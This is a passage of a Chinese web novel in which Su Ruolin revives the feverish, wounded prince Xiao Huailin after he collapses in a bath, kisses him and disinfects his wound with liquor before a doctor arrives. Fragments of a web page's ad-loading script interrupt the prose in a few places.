“你现在连件衣服都没有,怎么下去?” “我去找找看还有没有完好的衣服,若是找不到,就去给你借一身。”苏若琳笑着揉了揉她的头,“你伤得不轻,先好好休息,养回些体力才是最重要的。” 感受着头顶传来的温暖,青夭极不自然地低下头,脸颊通红:“那,那您小心些。” 苏若琳含笑应了下来。 她想着先去看看老爷子他们情况如何了,现下是否平安? 却没成想刚一下马车,便见到纨枫迎面向她走来。 “母亲!” 见到苏若琳下马车,杨纨枫连忙来到母亲身前,仔细地将她上下检查了一遍,一双好看的杏目里满是担忧。 “您怎么样,有没有受伤?” “我没事。”苏若琳笑着摇头,末了又问儿子,“那你呢,你可受了什么伤?” 待到确认了母亲的确是平安无虞,杨纨枫这才松了口气:“儿子也没事。” 母子俩聊了片刻,苏若琳才知,原来昨夜萧怀琳和纨玦已经先于大军判断了出敌袭的目的,而后分头行动,纨玦去保护老爷子和纨枫,而萧怀琳去保护她。 昨夜的火说小不小,说大也不大,杨纨枫的军帐也被烧毁了,但所幸老爷子的军帐在背风处,并没有被波及到。 昨夜等大军集结离开后,杨纨枫本想去找苏若琳,然而当他遥远地看到母亲时,母亲正扶着伤痕累累的青夭上了马车。 随后他便看到火势蔓延到了自己的军帐,他估摸着母亲应是没有大碍,在军帐和母亲之间纠结了片刻后,最终决定先回军帐里,把舆图之类的重要东西先抢救出来。 结果没过多久,就下起了大雨。 得知母亲要去军帐里寻找被烧剩下的东西,他连忙道:“我和您一起去吧。” 苏若琳笑着问他:“你不去自己的军账里看看吗,我的东西都是些自己用的零碎,肯定远不如你们那些密报啊之类的重要。” 杨纨枫轻轻摇头,眉目间皆是温柔的神色:“东西都在那里,又不会跑,儿子先陪您去搬您需要的,儿子的东西等回头自己再去收拾就好。” “好。”苏若琳欣慰地笑了。 末了,她看着自己明月清风的儿子,忽地意识到,自己现在看纨枫竟然都需要仰起头来了。 “你现在是不是都比我高了?” “嗯?”杨纨枫挑眉,伸出手略微比了比,一双好看的眉眼弯成了浅浅的月牙,“还真是。” 他已经比母亲高一个额头了。 以后他还会长得越来越高,替母亲扛起那些重担,成为母亲的依靠。 “吾家有儿初长成啊。”苏若琳笑着感慨道。 最开始她把这孩子从侯府的柴房里捡回来的时候,这孩子甚至还没到她胸口高。 一眨眼四年过去了,当初那个瘦弱的小毛猴子也已经长成了成熟稳重的翩翩少年郎了。 岁月真是个神奇的东西啊。 母子两人说笑着,缓步朝着苏若琳的军帐去了。 苏若琳的军帐已经彻底塌了,大多数东西都已经烧毁了,不过因着她的首饰大多是足金的,一场火下来,竟然基本算是无恙的。 她不禁失笑,这算什么,不丢财吗? 苏若琳从废墟里翻找出了几身还算像样的衣服,虽然被火烧的边缘有些发黑,但好在还能穿。 只是青夭比她高不少,骨架也是比较大的,不知道她的衣服,青夭会不会穿得上。 随后她又翻找出了一套尚且完整的茶具,经火烧过有些发黄了,不过也还是能用的。 马车上没有水,昨夜下着大雨她们也出不去,因此她和青夭已经一个晚上没有喝过一口水了。 她自己倒是还好,可是青夭伤得那么严重,万不能渴着,待会她就去打些水来。 苏若琳最后将衣服首饰还有那套茶具都收了起来。 随后她又带着纨枫去了萧怀琳的军帐。 萧怀琳的军帐是最先燃起来的,情况比起其他人军帐只会更惨,大多数东西都已经化为灰烬。 不过杨纨枫竟然在废墟里找到了一个完整的小包袱。 苏若琳将包袱打开一看,里面装得居然是萧怀琳还是杨婉枝的时候,自己送给他的那些首饰们。 她将那些木匣一一打开,里面的每一件首饰都完好无缺,昨夜的那场熊熊大火,明明将整个军帐都化做了焦土,却独独放过了它们。 如今匣子被打开,这些首饰仿佛熟睡中被喊醒的姑娘,映着外面的天光打了个哈欠,绽放着耀眼的光。 见此,苏若琳心里那片原本平静的湖泊陡然被丢入了一块石头,掀起了阵阵涟漪。 …… 这算什么? ……但愿这些首饰的主人,也能像这些首饰一样坚强吧。 苏若琳深吸了一口气,将那些首饰一一放回木匣子里,再将木匣子都收进包袱里,最后将包袱捡了起来,缓步走回马车。 等上了马车,苏若琳从仅剩的几件衣服里比了件最宽松的递给青夭,随后又去接了点水来喝。 等她提着木桶回来的时候,纨枫已经帮她把早膳拿过来了。 她和青夭用过早膳,忽地听到外边传来声音:“陕州业已拿下,王爷有令,全军迅速收拾行装入城!” 闻言,苏若琳连忙跑了出去。 只见一个士兵围着军营敲锣打鼓,通知着军营里的每一个人。 苏若琳一转眼,忽地看到一个熟悉的身影策马自不远处赶来。 她的心登时悬了起来,是萧怀琳吗! 他回来了吗?! 眼看着那个身影越来越近,近到终于可以看清时,苏若琳悬着的心也终于变为失落。 原来是纨玦。 苏若琳微微叹了口气,随后重新振作起来。 尽管萧怀琳那小子不知情况如何,但至少纨玦是平安无虞的。 她连忙跑到杨纨玦面前,焦急地问道:“你没受伤吧?怀琳呢?” “母亲。”见到母亲气喘吁吁的模样,杨纨玦连忙翻身下马,“我没事,大哥留在陕州城内安顿军士。” 他留在陕州城里了?! 苏若琳原本失落的心再次被揪起。 那个小子不是答应了她会回来吗?为什么又留在城里了! 难,难道…… 她无法继续想下去,那个小子受了那么重的伤,还淋雨打了一夜的仗,若是上天想要给他安排一个意外,这一整晚下来,简直能有一万个机会! 这般想着,苏若琳秀丽的眼眸不禁漫上了一层水雾。 “母亲!”杨纨玦一见到母亲要哭,登时就慌了,“您,您怎么哭了?” 她缓缓抬起头,定定地看着儿子,哽咽着,一字一顿道:“你老实告诉我,萧怀琳他怎么了?” 杨纨玦并不知道母亲在心里已经想了这么多有的没的。 此时听到母亲莫名其妙的一句,直接被问懵了。 “大哥他,没事啊?” 末了,他又踌躇了一下,补充了一句:“大哥手臂上的伤确实很严重,他说自己会包扎好,不用我们担心。” “他没事?!”苏若琳不可思议地瞪大双眼,紧紧抓着儿子的手臂,焦急道,“你没骗我吧?他现在还好好的,没有生命危险?!” 杨纨玦恍然大悟,原来母亲是在担心这个啊。 “那没有的。” 感受到母亲抓着自己的手竟然在微微颤抖,他轻轻握住母亲的手腕,安抚道:“您放心,在我回来的时候,大哥还是生龙活虎的。” “那他怎么不回来啊?!”苏若琳的声音中都多了几分哭腔,“他不是答应我要好好地回来吗?” 这个...... 这个他也不知道为什么啊? 这大哥也没告诉他啊! “兴许大哥是有什么要事吧?”杨纨玦犹豫道,“毕竟陕州被突厥那帮混蛋搞得已经……” 末了,他又觉得这样实在安慰不了母亲,最后干脆道:“您若是实在担心大哥,咱们就快些进城,就能见到他了。” 闻言,苏若琳终于醍醐灌顶,脑袋清醒了几分,她使劲点头:“对,那咱们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快点进城!” 进了城就能知道那小子到底怎么样了! 自萧军西征的这一路下来,苏若琳从来没有这般焦急过,她恨不得自己插上翅膀直接飞进城里,去看看萧怀琳到底情况如何。 当马车来到萧怀琳暂住的府邸时,甚至马车都还没有停稳,苏若琳便焦急地掀开门帘,险些一个踉跄跌下去。 “夫人!”青夭连忙上来扶住她,“您小心些,王爷不会希望看到您受伤的。” 见到青夭脸上那强烈得仿佛都能溢出来的担忧,苏若琳这才如梦初醒。 她已经心神不宁到了这种地步了吗? 到了都需要被伤患担心的地步了啊。 苏若琳努力定了定神,脸上浮现出一丝羞愧:“是我太紧张了。” 这般说着,她深吸了一口气,强压下心底的不安,扶着青夭一起走下马车。 府上的管事早先得了萧怀琳的吩咐,已经带着丫鬟们在门前多时了。 此刻见到马车里下来两位衣着不凡的女子,连忙迎了上去。 管事的目光在下来的两位贵人中间徘徊了一阵,最终落在了那位雍容华贵、国色天香的年轻贵妇身上。 他笑眯眯地朝苏若琳道:“这位就是苏小姐吧,小的是府上的管事,见过苏小姐。” 苏若琳微微颔首:“王爷现下在何处?” “回苏小姐,王爷正在自己院子里呢。”管事恭敬地回答。 “那他可还安好?”苏若琳不禁追问。 “这自然是安好的。”管事回答之余,还不忘拍几句马屁,“小的观王爷健步如飞、如龙似虎,当真不愧是陕州的英雄啊!” 闻言,苏若琳这才松了口气。 “带我去见他。” “啊?”管事不禁诧异道,“舟车劳顿,苏小姐不先休息片刻吗?” “不。”苏若面上装作镇定,实则心里早已心急如焚,她根本不想说多余的废话。 末了,她忽地想起身旁的青夭,这才顿了顿,看向管事身后的两个丫鬟。 “我妹妹受了不轻的伤,你们把她安顿到我的院子里,再请个大夫给她好好把脉。” 两个丫鬟应了一声,上前搀扶过青夭。 苏若琳不禁嘱咐道:“千万小心些。” 等到丫鬟们搀扶着青夭离开后,苏若琳这才看向管事,眼中满是迫切:“可以走了吗?” “可以可以!”望着对方那充满压迫感的目光,管事匆匆擦掉额头的冷汗,连忙道。 苏若琳跟着管事一路来到了萧怀琳的院子,最后在院门前停下。 管事看了看守在院门前的两个玄衣侍卫,末了转过身朝她行了个礼,小心翼翼道:“到,到此,小的就没有资格进去了。” 苏若琳微微颔首,匆匆走进院子。 她径直来到房门前,伸出手就要推开房门:“你们家王爷怎么样了?” 伤成这个样子,不感染是不可能了,也不知道那小子怎么消得毒。 古代没有那么多消毒的东西,那小子手臂上的刀口有那么深,能用的唯有酒精…… 可,可那不得疼死那小子啊! 苏若琳越想越着急,忽地听到守在门前的侍卫回答:“回苏小姐,王爷现下不在屋内。” “不在屋里?” 苏若琳都已经把门推开,要走进去了,此刻闻言,又重新把门拉了回来。 “那他在哪呢?” “王爷如今正在院子后边的浴池里沐浴。”侍卫恭敬道。 “沐,沐浴?”苏若琳瞪大眼睛,“他的伤口已经处理完了?” 闻言,守在门前的两个侍卫迟疑地对视了一眼。 见状,苏若琳不禁皱起眉头,奇怪道:“你们什么意思?” 难,难道那小子根本就没…… “回苏小姐。”其中一个侍卫踌躇了一下,“王爷他……似乎没有处理伤口,直接去沐浴的。” “什么?!”苏若琳失声道,“他疯了吗?!” 他的胳膊都伤成那样了,又被雨淋了一夜,他不赶紧处理伤口,居然还去沐浴! 他怎么想的! 苏若琳觉得自己快疯了,她连忙抓住那个侍卫的手臂,竭力不让自己情绪崩溃:“浴池在哪?!” 121. 浴池 苏若琳匆匆来到院后的浴池,却在门外被侍卫拦了下来。 侍卫看着她急迫的神情,小心翼翼道:“苏......苏小姐,王爷正在里边沐浴呢。” 就,就算是王爷和苏小姐情投意合,这王爷还在沐浴,没有王爷的准许,就这么放人也不太好吧? “放我进去。”苏若琳握紧拳头,冷声道,“或者你让他给我出来。” 此刻她真恨不得撸起袖子进去,捏着那小子的耳朵给他提出来。 他自己的伤有多严重他不知道吗? 怎么敢的! 听到苏小姐的话,那侍卫当即额头冒起了冷汗,让王爷出来,这谁敢啊! 苏若琳见那侍卫不答话,挺身又要进去。 “苏,苏小姐!”侍卫苦着一张脸,就差给她跪下了,“您就别为难小的了!” 一边是王爷,一边是王爷的心上人,这他哪个都得罪不起啊! “不让我进去是吧。”苏若琳冷笑一声,“那行。” 她深吸了一口气,卯足力气朝里面喊道:“萧怀琳!我给你半刻钟的时间,给我滚出来!” 此时的浴池内,四周水雾缭绕,看不清人影,萧怀琳正赤裸着泡在水池子里,那条满是伤痕的左臂正搭在岸上。 那条左臂被水雾的热气熏得棱刺尽穿,像是有一万只蚂蚁在啃咬,又像是被放置在了油锅里,火烫火烫的。 他逐渐觉得有些胸闷,呼吸有些急促。 就在这时,他似乎听到了远处传来了谁的呼唤,不尽真切。 似乎是从很远很远的地方传来。 不,不对...... 萧怀琳皱着眉头咳嗽了一声,意识不是从何时起变得有些模糊,就连左臂的蚀骨一般的疼痛都不大真切了。 脑海中仅剩的部分意识开始明白,自己的情况不对劲。 他努力撑着岸边想要站起来,却在完全站直的一瞬间,直直地倒了下去。 ...... 彼时的浴池外,苏若琳话音刚落,便听到里面传来剧烈的“噗通”一声。 她不由得瞪大眼睛,这,这声音怎么...... 这声音比起从水里起身,更像是人掉进了水里似的。 “萧怀琳?!”苏若琳焦急地朝里面喊道,“你还好吗?!” 然而没有任何声音回答她。 苏若琳连忙想要进去,却又被侍卫拦了下来。 “苏小姐!” “让我进去!”苏若琳朝他大吼,“萧怀琳有危险啊!” “若是他有个三长两短你们担待得起吗!” 侍卫也听到了方才情况不对劲,可是...... 所有人都记得先前荷莲进入王爷的军帐,看守的那四个侍卫都是什么下场。 两个差点残了,到现在还没养回来,另两个已经没了。 苏若琳看着他犹豫挣扎的神色,愤恨地瞪着他:“让我进去,若是你们家王爷问责,全算在我头上!” 闻言,守在门前的两个侍卫连忙侧身为苏若琳让开了一条路:“苏小姐您请!” 情急如此,苏若琳也顾不上和这帮人计较什么,抬腿便进了门。 她匆匆来到浴池边上,只见四周水雾弥漫,看不清晰。 “萧怀琳?”苏若琳喊了一声。 然而并没有声音回答她。 她忽地想到方才在外边听到的入水的声音,那个小子不会溺水了吧?! 浴池的水这么浅,能在溺水在这里面,那小子的情况肯定好不了! 苏若琳急忙跳下水里,还没走两步,便见到了晕倒在水里的萧怀琳。 少年郎全身赤裸地躺在水中,如墨一般的黑发在水中飘荡着,面色惨白,双眸微闭,仿佛睡着了一般。 四周水雾弥漫着,平添了几分暧昧的气氛,就连他全身那骇人的伤疤,都在这水轻柔的波动中少了几分狰狞。 水中安静的少年郎,和四周的景色,几乎组成了一副完美的画卷。 如果排除掉少年郎严重的伤势的话。 “萧怀琳!” 然而苏若琳全然没有心情去欣赏什么美人如画,她心急如焚把人扶起来,去探他的鼻息。 而后全身一震。 没有呼吸! 她又连忙去探萧怀琳的脉搏,一颗悬在半空的心才勉强落下。 需要赶紧做人工呼吸! 苏若琳努力让自己镇定下来,然后把萧怀琳从水里捞出来,让他平躺到地上,然后轻轻托起他的下巴,捏住他的鼻子,吻住他的唇,给他渡气。 是这样吧,一定是这样吧?! 这个混蛋,千万别死啊! 苏若琳不知道自己换了多少次的气,就在她急得都要哭出来的时候,终于面前的人咳嗽了几声,缓缓睁开了眼睛。 “若……若琳?” 望着面前人仍旧有些神志不清的模样,苏若琳愤恨地瞪着他,眼泪却不争气地掉了下来:“你这个混蛋!” 他要是死了,自己可怎么办…… 苏若琳匆匆擦掉眼泪,将萧怀琳从地上扶起来:“你脑子到底有什么问题啊?伤成这样还敢泡在热水里!” “你这样伤口肯……啊!” 还未等苏若琳说完,萧怀琳便将她拉进了怀里,紧紧地抱住了她。 少年郎的身体滚烫且坚硬,瀑布一般的墨发垂落到她的身上,和她紧紧相拥。 感受到面前人滚烫的体温,苏若琳迅速意识到,这个混蛋一定是发烧了。 “你发烧了!” “我去拿沐巾和衣服过来,咱们得快点回去处理伤口。”苏若琳说着便要推开眼前人。 孰知面前人即便是虚弱到了这种程度,力气也不是她能比的,苏若琳使劲去推面前人的胸口,却仍旧挣脱不开面前人的怀抱。 她急了:“别闹了!” 然而下一刻,耳边却传来一声啜泣:“别离开我……” 面前人声音沙哑,却带着哭腔和呜咽:“若琳……母亲……” “对不起,别走……” “求求你,别丢下我……” 声声哭泣响在苏若琳的耳畔,每一声都像是一把刀,切在她的心上。 面前的少年郎哭一声,她的心就被切下来一片。 她轻轻怀抱住面前哭泣的少年郎,附在他耳边轻声道:“我不走,我们一起离开这里好吗?” 少年郎似乎是听懂了,哭泣的声音一滞。 “离开这里……我们一起?” “对,我们一起。”苏若琳轻轻抚摸着少年郎的头,温柔道,“我和你,我们两个。” “我们先起来,我帮你把身上擦干好吗?” 环抱住她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手臂微微松了几分,她舒了口气,抱着面前人一起站起来。 苏若琳左右环顾了一下,沐巾就在不远处。 可是,面前人仍旧和她面对面环抱着,这怎么走过去…… “你……你先松开好不好?”苏若琳轻轻拍了拍少年郎的后背,温柔道,“你可以牵着我的手,我们一起去拿沐巾。” 面前人闻言却陷入了沉默,而后再次收紧了拥抱,声音中带着哭腔:“别丢下我……” “怀琳,怀琳。”苏若琳附在他耳边轻声道,“我不会丢下你的,不会的。” “不……”少年郎呜咽着,“我是个混蛋,母亲讨厌我的……” “我松开了,母亲肯定会离开的……” 少年郎的滚烫的身体不住颤抖着,苏若琳的心也不禁跟着颤抖了起来:“不,不会的……” 我不会离开你了,真的。 可是无论她怎么哄面前人,萧怀琳都充耳不闻,只是一味地抱紧她,迟迟不肯松开。 而连同他手臂一起收紧的,是他越来越虚弱的话语:“母亲……若琳……” 苏若琳知道,不能再这样耽误下去了,眼前的少年郎只会越来越虚弱。 她深吸了一口气,对面前人道:“怀琳,你转过头,看看我。” 少年郎哭泣的话语微顿,而后有些迟钝地转过头,看向自己的心上人。 随后,他的唇瓣上传来了柔软的触感。 少年郎原本模糊的意识顿时清醒了,他不可思议地瞪大双眼,随后,他感受到自己心上人伸出了舌头,伸入了自己的口中。 他下意识托起心上人的头,也伸出自己的舌头,用力地加深了这个吻。 两条舌头彼此触碰着,挑弄着,在萧怀琳的口中共舞着,宛若两条依偎嬉戏的小蛇,紧紧纠缠在一起,密不可分。 浴池里空气稀薄,很快两人便喘不上气,萧怀琳和心上人唇齿分离后,微微喘着气,手臂搂着心上人纤细的腰肢,依依不舍地蹭着心上人的额头和鼻尖。 “若琳……” “我在。”苏若琳的手伸进少年郎的头发里,轻轻抚摸着少年郎的头,“我们先离开这里,好不好?” 经过亲吻的安抚,少年郎果然听话了许多,他缓缓地松开紧紧拥抱着心上人的手臂,转而去牵起心上人的手,将那温软的玉手紧握在掌心。 苏若琳带着萧怀琳来到沐巾和衣服所在的地方,将少年郎的身上擦干。 苏若琳的手指隔着沐巾,轻轻触碰过面前身体各处每一块紧实的肌肉,望着面前人健硕的身体,还有看起来就,就很雄伟的那个地方,她的脸颊不由得泛红。 只是面前的少年郎已经看起来就不是很清醒了,见到她脸红,有些迟钝地伸出手,抚上她细嫩的脸颊,声音沙哑而有磁性:“若琳……你热吗?” 苏若琳咬紧下唇,别开看向少年郎下面某个部位的目光,低下头去捡起放在托盘上的衣服。 “……已经擦干净了,我们把衣服穿好,然后快些出去。” 少年郎懵懂地点头,乖乖地配合着心上人,将手臂伸进袖子里。 苏若琳给他穿完里衣,又看向地上的层层衣服,最后叹了口气:“就这样吧,我们快些出去。” 然而还未等她说完,面前的少年忽地失去了意识,倒进了她的怀里。 “怀琳?怀琳!” 122. 疗伤 苏若琳想要把萧怀琳背起来,然而试了好几次都以失败告终,她长长地叹了口气,明明四年前这孩子还是小小的一只,如今居然已经这么重了。 无奈之下,她只好把守在浴池前的两个侍卫喊了进来。 那两个侍卫一进浴池,就看到了他们家王爷正倒在一个绝色的女子身上,双眸紧闭。 而怀抱着他们家王爷那位女子,面容生得是国色天香,身上的衣裙一大半都湿透了,紧紧地粘在身上,将那傲人的身材衬托得淋漓尽致。 一个侍卫看得眼睛都直了,另一个连忙偷偷捶了他一拳,敢偷看王爷的女人,他脑袋不想要了是吗?! 然而苏若琳此刻已经心急如焚,她现在满脑子想得都是要快些带萧怀琳出去,根本没空去管谁的眼睛该挖下来。 见到两个侍卫来了,她连忙吩咐一个去找大夫,另一个则背起萧怀琳,匆匆往回跑。 等他们赶回到了院子里,那个背着萧怀琳的侍卫却在屋子门前停下了,脚步踌躇着,不敢进去。 苏若琳厉声喝道:“进!出了事我担着!” 那侍卫闻言再不敢耽误,守在门前的两个侍卫也连忙把门推开。 最后侍卫把萧怀琳缓缓放到了榻上,便连忙告退,退出去时眼观鼻鼻观心,生怕多看了别的东西一眼,等王爷醒过来后他就没命了。 苏若琳着急得要命,身上湿透的衣裙也来不及换,她把满屋翻了个遍,终于在一个柜子里找到了药箱,里面细麻、金疮药俱全。 可是这小子的伤口都泡白了,不消毒怎么行?! 现在这个年代,能给伤口消毒的东西只有两种,火烧和酒精。 可是这小子左臂上的刀伤都已经深可见骨了,火烧只怕给人烧坏了,若是用酒精…… 这小子不得疼死! 可是情急如此,她根本耽误不得,最后苏若琳握紧拳头,朝屋外吩咐道:“拿烈酒来!” 实际上,即便是在这个年代,大多数人也根本不知道高温和酒精可以消毒,人们一旦受了伤,都是凭借自己的身体硬抗过去。 因此守在门前侍卫闻言还愣了愣,苏小姐要酒干什么? 随后他便抬眼看到了苏若琳浑身湿透的衣裙,恍然大悟地一拍脑袋,苏小姐是不是冷了,想要喝酒? “那苏小姐想要多烈的酒?” “最烈的!能有多烈就来多烈!” 闻言,那侍卫不由得瞪大眼睛,苏小姐原来喝酒这么厉害么? 可是,王爷都病成这样了,这苏小姐居然还有心情喝酒…… 尽管侍卫在心里各种腹诽着,然而下命令的这位可是王爷的心尖子,若是怠慢了一分,只怕等王爷醒来后他脑袋就飞了,连忙应了一声,赶紧老实地找酒去了。 等到侍卫走后,苏若琳又将披在萧怀琳身上的那件衣袍解下,给他盖好被子,独留那条受伤的左臂露在外面。 望着那狰狞的左臂上被泡到发白的伤口,苏若琳觉得自己的心仿佛也被火燎过一般,疼得要命。 她去外间提了桶水进来,放到榻前的地上,然后拉过萧怀琳的左臂,舀起一瓢水,轻轻浇在烧伤的部位。 微凉的水反复浇在烧伤的左臂上,少年郎紧皱的眉头终于舒缓了几分,见此,苏若琳的心里终于有了一丝安慰。 其实若只是烧伤还是好解决的,现在最令她担心的就是萧怀琳手臂上这道深可见骨的伤口。 她一边往萧怀琳的手臂上浇凉水,一边着急着,烈酒到底什么时候能送到啊! 送来的酒可千万得够烈啊,不然酒精浓度不够也白搭…… 不过这次倒是碰巧的,这座府邸当初在陕州沦陷后,便被突厥的将领霸占了,而那个突厥将领有个爱好,就是喜好喝酒,尤其是喝烈酒,因此府上正好存了许多烈酒。 侍卫很快把烈酒送了过来,苏若琳接过酒坛后打开坛子,登时一股浓烈的酒味熏得她猛咳。 得了,这酒浓度绝对够高。 ......就是不知道这小子受不受得住了。 她将酒坛里的酒往酒杯里倒出了一点,随后一手扶住少年郎的手臂,另一只手倾倒酒杯,将杯中酒缓缓滴在那道骇人的伤口上。 浓烈的烈酒滴进已经发白的血肉之中,少年郎即便是在昏睡中,也很快感知到了剧烈的疼痛,原本有些松开的眉头皱得比先前更紧,全身不住地颤抖了起来。 感受到榻上的人在颤抖,苏若琳的心也跟着不断地颤抖着,仿佛这烈酒没有浇在面前人的伤口上,而是浇在了她的心上。 可是不行,她死死抓着少年郎的手,防止他胳膊乱动,即便是再疼,也总比伤口没命了强! 不知过了多久,待到伤口终于消毒得差不多了,苏若琳这才松开面前人剧烈颤抖的手臂,去拿金疮药。 那酒精的余威太大,大到即便是她在涂抹金疮药的时候,榻上的少年郎仍旧在疼得不住颤抖。 苏若琳不由得轻轻握住少年郎那只粗糙而又滚烫的左手,和他十指相扣,拼命忍住泪意才没有让自己哭出来。 萧怀琳,你这个混蛋,为什么要这么糟蹋自己啊! 等到她给那道极深的伤口上完金疮药后,又去药箱里找有没有什么能管烧伤的药,若是没有,那她就只能继续一遍又一遍地给那条手臂浇凉水,浇到大夫来为止了。 但好在,这个年代居然真的有处理烧伤的药,苏若琳很快在药箱里找到了一盒膏油。 微凉的膏子涂抹遍整条手臂,似是带走了手臂上的几分灼痛感,少年郎的身躯渐渐停止了颤抖。 待到苏若琳将萧怀琳的整条手臂都抹好药后,少年郎的手指忽地微微动了动,而后缓缓睁开了眼睛。 “......若琳?” 见到面前人醒了,苏若琳原本着急的心顿时一滞,而后眼眶迅速泛红,眼泪不争气地落了下来。 “怎么哭了?”见到心上人落泪,萧怀琳本就虚弱的面容变得愈加苍白。 他颤抖着抬起那条伤痕累累的左臂,想要替心上人擦掉脸上的泪水:“不,咳咳咳……不要哭。” 然而他越是这样,苏若琳就越是心疼,见到这个混蛋居然还敢动这条手臂,她心里又气又急。 她连忙托起对方的手,代替他用力,而后将他的手轻轻地覆在自己的脸上,红着眼睛骂了一声:“笨蛋!” 结果少年郎听到心上人这样骂自己,苍白的脸上却露出了发自内心的笑容,他看着心上人气恼而又心疼的目光,开心地点了点头:“我是笨蛋。” 如果他的若琳能不再只把他当做一个孩子,那他愿意做一辈子的笨蛋。 苏若琳见到榻上的少年郎居然露出傻笑,心里真是又气恼又想笑,她无奈地叹了口气,伸出另一只手抚上少年郎滚烫的额头。 烧得这么厉害,可千万别烧成了真笨蛋啊。 她本想着打湿毛巾,给面前的少年郎凉敷一下额头,然而还没等手够到毛巾,外边忽地响起了敲门声。 “禀苏小姐,大夫来了!” “大夫?”躺在榻上的萧怀琳驀地瞪大眼睛。 苏若琳并未注意到少年郎的异样,得知大夫终于来了,她如蒙大赦,急忙起身想要去给大夫开门。 随后就被少年郎的那只左手抓住了手腕。 “你的伤!”苏若琳回过头急忙道,“别扯到伤口啊!” 然而在她看到少年郎脸上的神情时,却是不由得一愣。 只见少年郎眼尾泛红,在那张苍白的脸上显得尤为突兀,也极其可怜。 而他那双秀丽的眼眸中,更是填满了乞求。 “别......”少年郎声音沙哑,语气中却带着几分委屈,“别叫大夫。” 然而这一次苏若琳绝对不可能再惯着她。 “这次必须叫大夫!” 纵使苏若琳的心里疼得紧,但还是坚决地皱起眉头。 “你的伤比起前几次要严重上太多,而且这一次你受了伤非但没及时处理,反而还使劲地糟蹋伤口!”苏若琳指着他手臂上那道发白的伤口,神情第一次变得无比严厉,“你自己瞧瞧这都被泡成什么样了!” 然而少年郎对心上人的指责却是充耳不闻,他那双泛红的凤目逐渐噙满泪水,声音中也多了几分哽咽。 “求求你……” 少年郎恳求着,那只紧握着她手腕的左手,也因为手臂的疼痛而开始不断地颤抖:“……别叫大夫。” 见到少年郎这般乞求,苏若琳到底还是忍不住心软了,她深吸了一口气,另一只手轻轻地落在榻上人儿的发顶上,语气温柔而又充满心疼。 “大夫只是来看看你的手臂,然后给你把脉,我们把被子盖好,身上都不露出来,只露出左臂,好吗?” 少年郎哭着摇头:“不要......” “可是你伤得这么重,若是不看大夫,万一出了什么问题,你可就没命了啊!”苏若琳这般说着,自己的视线也逐渐变得朦胧,“你难道想死吗?” 闻言,萧怀琳缓缓低下头,陷入了沉默。 其实......死了也没什么不好的。 如今他只是一条胳膊快废了,他的若琳就能心疼地守在自己身边,那么若是他快死了,他的若琳是不是就能日夜陪着他了? 兴许是少年郎每次发烧以后,心思都会明显地摆在脸上,苏若琳再次一眼就看透了他的想法。 她的心不停地颤抖着,长长地叹了一口气。 “怀琳。” 苏若琳轻轻抚摸着少年郎的脸颊,轻声道:“我们让大夫进来看看,我陪着你,好不好?” 少年郎目光低落,不情愿地看向他处,可是那只抓着她手腕的左手却握得更紧了。 那条左臂也因此颤抖得更加剧烈。 苏若琳又无奈又心疼,若是在平时,这混蛋怎么耍小脾气、怎么装可怜,自己都能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 答应他,可是这次他是会死的啊! 她轻轻握住萧怀琳的左手,让他的手臂少费些力气,手臂上的疼痛也好减轻一些。 “若是你答应看大夫,我今日就陪你一整日,怎么样?” 闻言,少年郎的眼中闪过片刻挣扎的神色,最后仍旧摇了摇头。 然而他眼中的这一丝挣扎,还是叫苏若琳敏锐地捕捉到了。 她见此便知晓有用了:“晚上也陪着你,一直守在你的榻前,陪你到明天白天,如何?” 少年郎眼中的挣扎愈加剧烈。 苏若琳继续加码:“只要你答应看大夫,我保证,以后都不会躲着你。” ……以后都不会躲着他吗? 少年郎张了张嘴,他真的心动了。 只是心动了片刻,他仍旧不肯松开手。 见此,苏若琳沉默了片刻,最后扔出了大招:“你今晚可以抱着我睡。” 少年郎秀丽的凤目赫得一亮,松开了左手。 苏若琳微微叹了口气,出去给大夫开门。 大夫很快跟着苏若琳走进了内间,一见到萧怀琳左臂上的伤口,登时了一跳。 “为何烧成这样还要泡在水里?!看这伤势,这至少泡了三个时辰啊!” 见到大夫这般神情,苏若琳的心登时被揪紧。 “我给伤口简单地处理了一下,您赶紧看看还有什么问题?” 大夫凝神看着萧怀琳左臂那道触目惊心的伤口,片刻后叹了口气:“这伤口处理得不错,但终究是太迟了。” “若是早些处理,又何至于感染呢?” 尽管她早就知道萧怀琳发烧是因为感染引起的,然而此时此刻再从大夫听到“感染”这个词,她的心还是“咯噔”一声。 在古代,伤口感染是会死人的! 这般想着,她的睫毛微微颤抖,两行眼泪再次从眼角滑落。 大夫见状也不好多言,他微微叹了口气,坐到榻前的椅子上,打开自己的药箱。 苏若琳见状连忙将萧怀琳的手翻过来,让他手腕朝上。 然而萧怀琳却再次缓缓抬起那条受伤的胳膊,伸出左手替心上人擦掉眼泪。 苏若琳不由得瞪了他一眼。 萧怀琳苍白的脸上浮现出一丝笑意。 若非这小子此刻病重,苏若琳真恨不得给她来两拳。 恰好这时大夫从药箱里拿出了一个小棉枕,苏若琳连忙接过棉枕垫在萧怀琳的左手下面。 随后大夫便将手指搭在萧怀琳的手腕上,开始把脉。 感受到自己的手腕被陌生人触碰到,萧怀琳顿时全身一震,然后颤抖着看向自己的心上人,委屈的目光中竟还带着几分惊惧。 苏若琳不知少年为何这样害怕被人触碰,但仍旧下意识地伸出手,一下又一下地轻抚着少年郎的发顶,温声安慰道:“没事的,我在这呢,不要怕。” 少年郎藏在被子里的右手悄悄地从肩膀处伸了出来,只露出几根手指,然后可怜巴巴地望着心上人。 苏若琳当即会意,伸出手轻轻握住少年郎露在外面的手指,又心疼又觉得好笑。 眼前的少年郎眼中闪烁着泪意,这一副可怜又害怕的模样,简直就像个正在被打针的小孩子。 就这样过了半晌,大夫终于收回手,皱着眉头不知道在想些什么。 见此,苏若琳的心不由得咯噔一声。 她再开口时,声音都不禁多了几分颤抖:“大夫,他,他怎么样?” 她真的害怕,若是眼前的少年郎真的有性命危险,她根本不知道自己要怎么办。 想到此,她不禁哽咽道:“若是,若是......左臂保不住了可以不要,命总能保住吧?” 闻言,大夫这才开口道:“你丈夫身体很硬,死不了。” 闻言,苏若琳顿时松了口气,心里如释重负。 死不了,那太好了…… 